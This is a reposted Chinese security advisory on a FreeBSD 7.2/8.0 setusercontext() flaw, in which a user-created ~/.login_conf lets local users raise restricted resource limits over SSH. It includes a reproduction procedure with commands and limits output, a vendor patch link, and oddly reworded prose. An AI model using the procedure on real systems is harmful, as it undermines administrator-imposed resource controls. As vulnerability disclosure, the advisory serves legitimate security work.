FreeBSD setusercontext()函数绕过安全限制漏洞及修复[网络技术]
本文“FreeBSD setusercontext()函数绕过安全限制漏洞及修复[网络技术]”是由七道奇为您精心收集,来源于网络转载,文章版权归文章作者所有,本站不对其观点以及内容做任何评价,请读者自行判断,以下是其具体内容:
影响版本:
FreeBSD 8.0
FreeBSD 7.2漏洞描写:
BUGTRAQ ID: 42533
FreeBSD就是一种运行在Intel平台上、可以安闲利用的开放源码Unix类系统.
在以其他用户的权限运行时lib/libutil/login_class.c文件中的setusercontext()函数利用了特定的用户设置,这答应本地用户通过成立特制的~/.login_conf文件并通过OpenSSH登录更改某些受限制的资源.<*参考
Andrey Zonov (andrey.zonov@gmail.com)
http://secunia.com/advisories/40923/
http://www.freebsd.org/cgi/query-pr.cgi?pr=141840
*>
测试办法:
本站供应程序(办法)大概带有攻击性,仅供安全研究与讲授之用,风险自负!
1. 在/etc/login.conf中增添新的登录类
test:\
:cputime=1h:\
:tc=default:
2. Make db
# cap_mkdb /etc/login.conf
3. 更改账号的登录类
# pw usermod $login -L test
4. 通过$login以SSH衔接到这个主机并履行limits -a
$ limits -a
Resource limits (current):
cputime 3600 secs
filesize infinity kB
datasize 524288 kB
stacksize 65536 kB
coredumpsize infinity kB
memoryuse infinity kB
memorylocked infinity kB
maxprocesses 3603
openfiles 7207
sbsize infinity bytes
vmemoryuse infinity kB
pseudo-terminals infinity
swapuse infinity kB
5. 成立~/.login_conf
me:\
:cputime=2h:
6. 再次衔接到这个主机并履行limits -a
$ limits -a
Resource limits (current):
cputime 7200 secs
filesize infinity kB
datasize 524288 kB
stacksize 65536 kB
coredumpsize infinity kB
memoryuse infinity kB
memorylocked infinity kB
maxprocesses 3603
openfiles 7207
sbsize infinity bytes
vmemoryuse infinity kB
pseudo-terminals infinity
swapuse infinity kB
厂商补钉:
FreeBSD
-------
目前厂商已经公布了进级补钉以修复这个安全问题,请到厂商的主页下载:
http://www.freebsd.org/cgi/query-pr.cgi?pr=141840
以上是“FreeBSD setusercontext()函数绕过安全限制漏洞及修复[网络技术]”的内容,如果你对以上该文章内容感兴趣,你可以看看七道奇为您推荐以下文章:
本文地址: | 与您的QQ/BBS好友分享! |